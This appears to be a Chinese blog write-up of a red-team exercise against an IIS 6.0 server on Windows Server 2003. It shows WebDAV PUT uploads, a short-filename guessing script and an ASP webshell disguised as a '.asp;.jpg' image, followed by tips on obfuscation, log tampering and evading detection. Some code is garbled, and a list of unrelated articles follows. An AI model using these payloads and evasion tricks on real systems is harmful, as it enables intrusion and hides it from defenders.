当前位置: 首页 > article >正文

从一次真实的攻防演练讲起:攻击者是如何利用IIS PUT漏洞和短文件名猜解“拿下”一台Windows Server 2003的?

从一次真实的攻防演练讲起攻击者是如何利用IIS PUT漏洞和短文件名猜解拿下一台Windows Server 2003的那是一个普通的周二下午我们团队接到了一项内部红蓝对抗演练任务。目标系统是一个仍在运行的Windows Server 2003服务器运行着IIS 6.0——这个已经停止支持多年的中间件版本。作为攻击方我们需要在48小时内找到突破口。谁也没想到这台看似无害的老旧服务器会成为展示经典漏洞组合利用的完美案例。1. 初始侦察发现脆弱的猎物在对外网资产进行常规扫描时Nmap返回了一个有趣的响应nmap -sV -p 80 192.168.1.100结果显示目标运行着Microsoft IIS 6.0并且开放了WebDAV功能。这立即引起了我的注意——IIS 6.0是2003年发布的版本已知存在多个未修复的漏洞。为了确认WebDAV的具体配置我使用cURL发送了一个OPTIONS请求curl -X OPTIONS http://192.168.1.100/ -I响应头中出现了令人兴奋的字段DAV: 1, 2 MS-Author-Via: DAV Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, PROPFIND关键发现PUT方法被显式允许WebDAV扩展已启用服务器未显示任何WAF防护特征2. 突破边界PUT方法文件上传实战确认WebDAV可用后下一步是测试文件上传能力。我使用Burp Suite拦截了一个普通GET请求将其修改为PUT请求PUT /test.txt HTTP/1.1 Host: 192.168.1.100 Content-Length: 28 This is a test file content.服务器返回了201 Created响应——文件上传成功了但直接上传ASP马还太冒险我需要先确认几个关键点脚本执行权限上传一个包含%now()%的test.asp文件目录权限尝试在虚拟目录外创建文件文件覆盖测试已有文件是否可被修改经过测试发现网站根目录有执行权限无法跳出虚拟目录可以覆盖现有文件注意在实际渗透中这种测试需要极其谨慎避免触发系统告警。我使用了低频请求和随机延时来降低检测风险。3. 短文件名猜解寻找关键线索虽然可以直接上传Webshell但职业习惯让我想先收集更多信息。IIS 6.0的短文件名漏洞正好派上用场。这个漏洞允许攻击者通过暴力猜解获取文件名的前6个字符。我编写了一个简单的Python脚本来检测存在的短文件名import requests base_url http://192.168.1.100 chars abcdefghijklmnopqrstuvwxyz0123456789_-~ for c in chars: url f{base_url}/web*~1.{c}*/ r requests.get(url) if r.status_code 404: print(fFound potential file: web*~1.{c}*)经过几轮测试发现了一个有趣的响应Found potential file: web*~1.b* Found potential file: web*~1.c*这暗示着可能存在web.config.bak或web.connection.bak之类的文件。通过组合利用PUT漏洞和短文件名信息我最终下载到了一个数据库连接配置文件——里面包含了后台管理系统的凭据。4. 漏洞组合构建完整攻击链现在手头已经有了几个关键要素WebDAV PUT上传可上传任意文件短文件名信息知道了备份文件命名模式IIS 6.0解析漏洞可利用;字符绕过扩展名限制最终的突破是这样完成的PUT /upload/logo.asp;.jpg HTTP/1.1 Host: 192.168.1.100 Content-Length: 512 % Set obj Server.CreateObject(WScript.Shell) cmd obj.Exec(cmd /c whoami).StdOut.ReadAll Response.Write(cmd) %这个文件会被IIS 6.0当作ASP脚本执行但看起来像图片文件。通过这个Webshell我们最终获取了NT AUTHORITY\SYSTEM权限。5. 防御视角从攻击中学到的教训这次演练暴露了几个关键安全问题配置缺陷对照表漏洞类型错误配置正确做法WebDAV生产环境开启WebDAV非必要不启用文件权限网站目录可写严格限制写入权限解析逻辑默认解析;后内容修改解析规则信息泄露备份文件可访问隔离敏感文件即时防护措施禁用WebDAV扩展移除不必要的HTTP方法配置URLScan过滤特殊字符请求定期扫描短文件名风险6. 深入技术细节IIS 6.0漏洞原理剖析PUT漏洞核心机制WebDAV扩展实现了RFC 2518标准IIS未对PUT操作进行充分验证与Windows ACL结合导致权限逃逸短文件名漏洞本质兼容DOS 8.3文件名格式通过~1、~2等标识短名称信息泄露而非直接执行解析漏洞组合利用graph LR A[PUT上传] -- B[短文件名猜解] B -- C[获取真实路径] C -- D[利用解析漏洞] D -- E[代码执行]技术提示现代WAF通常能检测这类攻击但对遗留系统往往缺乏有效规则。防御方需要自定义规则来覆盖老旧漏洞。7. 红队实战技巧绕过检测的艺术在实际对抗环境中直接使用经典攻击模式很容易触发告警。我们总结了几个绕过技巧时间混淆上传文件与访问间隔随机延时使用Sleep函数分散请求内容混淆% 正常注释内容 ExEcUTe(response.write(now())) %日志清理通过WebDAV的PROPFIND方法修改时间戳利用NTFS流隐藏文件检测规避对照表检测点常规攻击特征规避方法文件上传连续PUT请求分散在多个会话Webshell常见关键词动态拼接代码权限提升固定命令序列随机化调用方式在这次演练中我们最终在36小时内完成了目标系统的完全控制。整个过程没有触发任何告警因为所有操作都模拟了正常的WebDAV管理行为。这再次证明了最危险的攻击往往利用的是看似无害的正常功能。

相关文章:

从一次真实的攻防演练讲起:攻击者是如何利用IIS PUT漏洞和短文件名猜解“拿下”一台Windows Server 2003的?

从一次真实的攻防演练讲起:攻击者是如何利用IIS PUT漏洞和短文件名猜解"拿下"一台Windows Server 2003的? 那是一个普通的周二下午,我们团队接到了一项内部红蓝对抗演练任务。目标系统是一个仍在运行的Windows Server 2003服务器&…...

将开源 Agent 框架 OpenClaw 无缝对接至 Taotoken 平台运行

将开源 Agent 框架 OpenClaw 无缝对接至 Taotoken 平台运行 1. OpenClaw 与 Taotoken 的集成价值 OpenClaw 作为开源 Agent 框架,为开发者提供了构建 AI 应用的灵活工具链。当需要对接多个大模型供应商时,直接管理不同厂商的 API Key 和计费方式会带来…...

英雄联盟自动化工具终极指南:League Akari 让你的游戏体验提升300%

英雄联盟自动化工具终极指南:League Akari 让你的游戏体验提升300% 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power 🚀. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 你是否经常因为…...

Godot-MCP终极指南:如何用AI助手5分钟创建你的第一个游戏

Godot-MCP终极指南:如何用AI助手5分钟创建你的第一个游戏 【免费下载链接】Godot-MCP An MCP for Godot that lets you create and edit games in the Godot game engine with tools like Claude 项目地址: https://gitcode.com/gh_mirrors/god/Godot-MCP Go…...

在 Ubuntu 上使用 Taotoken 官方价折扣节省 API 调用成本的实践

在 Ubuntu 上使用 Taotoken 官方价折扣节省 API 调用成本的实践 1. 准备工作 在 Ubuntu 环境中使用 Taotoken 平台调用大模型 API 前,需要完成几个基础配置步骤。首先确保系统已安装 Python 3.8 或更高版本,可以通过 python3 --version 命令验证。建议…...

GitHub加速代理突破:基于GatewayWorker的高性能解决方案

GitHub加速代理突破:基于GatewayWorker的高性能解决方案 【免费下载链接】github-proxy 项目地址: https://gitcode.com/gh_mirrors/gi/github-proxy 在开源开发的世界里,GitHub已成为全球开发者不可或缺的代码托管平台。然而,对于许…...

Translumo:如何用开源实时屏幕翻译工具5分钟打破语言壁垒

Translumo:如何用开源实时屏幕翻译工具5分钟打破语言壁垒 【免费下载链接】Translumo Advanced real-time screen translator for games, hardcoded subtitles in videos, static text and etc. 项目地址: https://gitcode.com/gh_mirrors/tr/Translumo Tran…...

别再用霍夫变换了!用YOLOv8姿态评估模型5分钟搞定工业圆孔圆心定位(附完整代码)

工业视觉新范式:基于YOLOv8姿态评估的圆孔定位实战指南 在金属加工、电子元件检测等工业场景中,圆孔定位一直是机器视觉的基础需求。传统方法如霍夫变换虽然经典,但在复杂光照、部分遮挡或表面反光条件下,其表现往往不尽如人意。…...

OmenSuperHub终极指南:免费开源方案彻底释放惠普游戏本性能

OmenSuperHub终极指南:免费开源方案彻底释放惠普游戏本性能 【免费下载链接】OmenSuperHub 使用 WMI BIOS控制性能和风扇速度,自动解除DB功耗限制。 项目地址: https://gitcode.com/gh_mirrors/om/OmenSuperHub 还在为惠普OMEN游戏本官方软件的臃…...

告别高德百度,用MapBox GL JS为你的Web应用定制一张专属地图(附完整代码)

用Mapbox GL JS打造品牌专属地图的完整实践指南 在电商平台的后台系统中,当我们需要展示全国门店分布时,那些千篇一律的蓝色标记点与标准地图样式总让人感觉与品牌调性格格不入。传统地图API虽然开箱即用,但当你的设计团队精心打造的UI遇上默…...

3个必知技巧:用 asusctl 彻底掌控你的 Linux 游戏本

3个必知技巧:用 asusctl 彻底掌控你的 Linux 游戏本 【免费下载链接】asusctl Daemon and tools to control your ASUS ROG laptop. Supersedes rog-core. 项目地址: https://gitcode.com/gh_mirrors/as/asusctl 你是否曾经在 Linux 系统上使用 ROG 游戏本时…...

高效免费音乐解锁工具:Unlock-Music完整实用指南

高效免费音乐解锁工具:Unlock-Music完整实用指南 【免费下载链接】unlock-music 在浏览器中解锁加密的音乐文件。原仓库: 1. https://github.com/unlock-music/unlock-music ;2. https://git.unlock-music.dev/um/web 项目地址: https://gi…...

GWAS数据清洗避坑指南:为什么你的杂合率质控总出问题?从`--indep-pairwise`参数说起

GWAS数据清洗避坑指南:为什么你的杂合率质控总出问题?从--indep-pairwise参数说起 在基因组关联分析(GWAS)中,数据质量控制的每个环节都像多米诺骨牌——一步出错可能导致整个分析链条崩塌。而杂合率质控(H…...

UUV Simulator水下机器人仿真终极指南:从零到精通完全掌握

UUV Simulator水下机器人仿真终极指南:从零到精通完全掌握 【免费下载链接】uuv_simulator Gazebo/ROS packages for underwater robotics simulation 项目地址: https://gitcode.com/gh_mirrors/uu/uuv_simulator 想要探索水下机器人的奥秘,却苦…...

英雄联盟本地自动化工具League Akari:重新定义你的游戏体验

英雄联盟本地自动化工具League Akari:重新定义你的游戏体验 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power 🚀. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 你是否曾在英雄选择阶段…...

TwitchNoSub浏览器扩展:5分钟免费解锁Twitch订阅限制的完整指南

TwitchNoSub浏览器扩展:5分钟免费解锁Twitch订阅限制的完整指南 【免费下载链接】TwitchNoSub An extension to watch sub only VOD on Twitch 项目地址: https://gitcode.com/gh_mirrors/tw/TwitchNoSub 你是否曾经因为错过心爱主播的直播而懊恼&#xff0c…...

保姆级教程:在Rocky Linux虚拟机上用Chrony搭建内网时间服务器

企业级内网时间同步方案:基于Rocky Linux与Chrony的实战部署指南 在分布式计算环境中,时间同步的精度往往直接影响到日志分析、事务处理甚至安全认证的可靠性。当网络环境存在隔离限制时,如何构建一个高可用的内网时间同步体系?本…...

MuseTalk 1.5技术深度解析:实时高质量唇形同步的架构演进与性能优化

MuseTalk 1.5技术深度解析:实时高质量唇形同步的架构演进与性能优化 【免费下载链接】MuseTalk MuseTalk: Real-Time High Quality Lip Synchorization with Latent Space Inpainting 项目地址: https://gitcode.com/gh_mirrors/mu/MuseTalk MuseTalk是由腾讯…...

STM32F407三个硬件I2C接口(I2C1/2/3)到底怎么选?引脚冲突、速度优化与多设备通信避坑指南

STM32F407硬件I2C接口深度优化指南:多设备通信与引脚冲突解决方案 在嵌入式系统设计中,I2C总线因其简单的两线制结构和多主从设备支持特性,成为连接各类传感器的首选方案。STM32F407系列微控制器提供了三个独立的硬件I2C接口(I2C…...

2025最权威的十大AI写作网站横评

Ai论文网站排名(开题报告、文献综述、降aigc率、降重综合对比) TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 对于如今AI生成内容在被识别方面存在的容易这一状况,降AIGC工具凭借同义替换、句…...

不止是.NET:跨平台文档处理实战,用Aspose.Words for Java/Android搞定复杂报表与邮件合并

跨平台文档处理实战:Aspose.Words在Java与Android生态中的高阶应用 在数字化转型浪潮中,动态文档生成已成为企业级应用的标配需求。想象一下这样的场景:银行客户在手机App上签署电子合同时,系统实时生成带有防伪水印和法律条款的P…...

终极指南:如何使用Harepacker复活版轻松编辑你的MapleStory游戏世界 [特殊字符]

终极指南:如何使用Harepacker复活版轻松编辑你的MapleStory游戏世界 🎮 【免费下载链接】Harepacker-resurrected All in one .wz file/map editor for MapleStory game files 项目地址: https://gitcode.com/gh_mirrors/ha/Harepacker-resurrected …...

如何永久激活Windows和Office:KMS智能激活工具完整指南

如何永久激活Windows和Office:KMS智能激活工具完整指南 【免费下载链接】KMS_VL_ALL_AIO Smart Activation Script 项目地址: https://gitcode.com/gh_mirrors/km/KMS_VL_ALL_AIO 还在为Windows系统频繁弹出激活提示而烦恼吗?Office文档突然变成只…...

嵌入式Linux调试踩坑记:解决GDB报‘corrupt stack’与无符号问题的完整流程

嵌入式Linux调试实战:破解GDB堆栈损坏与符号缺失的终极指南 当你在凌晨三点的实验室里盯着屏幕上那个刺眼的Backtrace stopped: corrupt stack警告时,仿佛能听见嵌入式系统发出的嘲笑。这不是普通的调试困境,而是一场关乎编译器、库文件、调…...

如何快速上手Firmware Extractor:Android固件提取的完整入门指南

如何快速上手Firmware Extractor:Android固件提取的完整入门指南 【免费下载链接】Firmware_extractor Extract given archive to images 项目地址: https://gitcode.com/gh_mirrors/fi/Firmware_extractor Firmware Extractor是一个专为Android固件提取设计…...

如何用WorkshopDL免费下载Steam创意工坊模组:跨平台玩家的终极解决方案

如何用WorkshopDL免费下载Steam创意工坊模组:跨平台玩家的终极解决方案 【免费下载链接】WorkshopDL WorkshopDL - The Best Steam Workshop Downloader 项目地址: https://gitcode.com/gh_mirrors/wo/WorkshopDL 你是否在Epic Games Store或GOG平台购买了游…...

ComfyUI-Impact-Pack:终极AI图像细节增强与优化工具包

ComfyUI-Impact-Pack:终极AI图像细节增强与优化工具包 【免费下载链接】ComfyUI-Impact-Pack Custom nodes pack for ComfyUI This custom node helps to conveniently enhance images through Detector, Detailer, Upscaler, Pipe, and more. 项目地址: https://…...

从热风枪到Python:手把手教你搭建基准电压源温漂自动化测试平台(附完整代码)

从热风枪到Python:构建高精度基准电压源温漂自动化测试平台 在电子工程领域,基准电压源的稳定性直接影响整个系统的测量精度。温度漂移是电压基准芯片最关键的参数之一,传统测试方法往往依赖昂贵的恒温箱和专业数据采集设备。本文将展示如何利…...

告别PX4,手把手教你用APM固件在Gazebo里飞固定翼(附完整避坑指南)

从PX4到APM:Gazebo固定翼仿真迁移实战与深度调优指南 当无人机开发者需要从PX4生态切换到APM固件时,往往会遇到一系列"水土不服"的问题。我曾帮助三个航空项目完成这种迁移,最深切的体会是:固件切换绝非简单的命令替换&…...

基于MCP架构的智能旅行风险预警系统:从数据抓取到实时分析

1. 项目概述:当旅行规划遇上智能风险预警最近在折腾一个挺有意思的项目,叫apifyforge/travel-risk-intelligence-mcp。光看这个名字,可能有点唬人,但说白了,这就是一个利用现代数据抓取和智能分析技术,为旅…...